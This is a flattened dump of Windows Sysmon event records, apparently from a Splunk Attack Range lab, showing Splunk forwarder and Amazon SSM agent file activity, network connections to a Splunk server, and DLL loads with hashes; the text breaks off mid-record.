AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D958B29211423DBE339B2EE7B36D31BD,SHA256=686C89DD9AB7F91610BDAED27C3791627FE4F6222DFB63F6934A1E9746F72A72,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054039Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:12.118{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=976E5CA0248AECBB4C85096CCDFD0F7F,SHA256=CC4615D913E9C272EFDD5F5E362668FA46A2EF379E9448C2A64BE941E6440DD0,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017388Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:10.395{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50355-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017390Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:13.641{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=944B227A742903145381B51BF9F84E68,SHA256=D343A3DC168FBD50251C3A64730FB4E431613B6968E68A3AF4310567B20DE961,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054040Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:13.132{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=772F94D59EDC52D5BA459365F763E427,SHA256=5800F93BBA340D606E1995AC787940A4D0EFDE3128279E72DEF39BFB752A976B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017391Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:14.657{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6B0C73C43B28E259B3A8A1D0FF5D8C34,SHA256=9086B154F4752C418FCAE893AC0FBB41503585A288DE648C4DD6D84642727063,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054041Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:14.163{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DD9CE6E2500FFA079EDE971907303A61,SHA256=05942405B3F36B7D12678445BA92C5CFE969B80ECAE6E6258862223E3AA21E40,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017392Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:15.688{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=585070BF337DF015777B54A30B2FFF4E,SHA256=A781EDE89AD376FC77311A83ACC43776E0E845805FE7668A676B22CFDC56D1F5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054043Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:15.604{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-058MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054042Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:15.163{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED2998CEC7C898574DA264CBA7D8204B,SHA256=96609C221AD9EBF94FDB1AB8D8A74C2673704AD3C55CC45218561FB4F70776A2,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017393Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:16.704{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=876B2D0C0E3B3D033F4A0963B197C3B3,SHA256=DBB2E07D689393CE98224CB8155475CCC2E339681E50F68F45BE85E43B61473E,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054046Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:16.616{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-059MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054045Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:16.163{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26D44BB334BBC07E7F07A71B40984C8B,SHA256=2AB5F3AC5D81AEBEE4B03DF591CAAFE803A45AF68CCA4836A623DCBDDC2BC013,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000054044Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:12.473{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63098-false10.0.1.12-8000- 23542300x800000000000000017395Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:04:17.704{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=99841BD5F2E84475F59C095EE2EAC7D7,SHA256=939CCB679C13392686226916EB442D0A158AEA701C5F376D625D5CE0C1FC17B4,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000054147Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054146Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054145Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054144Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054143Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.986{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054142Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000054141Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054140Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054139Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054138Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054137Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054136Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.963{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054135Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054134Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054133Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054132Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054131Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054130Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054129Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054128Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054127Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054126Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054125Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054124Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054123Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054122Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054121Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054120Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000054119Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000054118Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000054117Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000054116Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000054115Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000054114Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:04:17.947{7BD73061-73F1-613B-860B-00000000F001}6416C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft 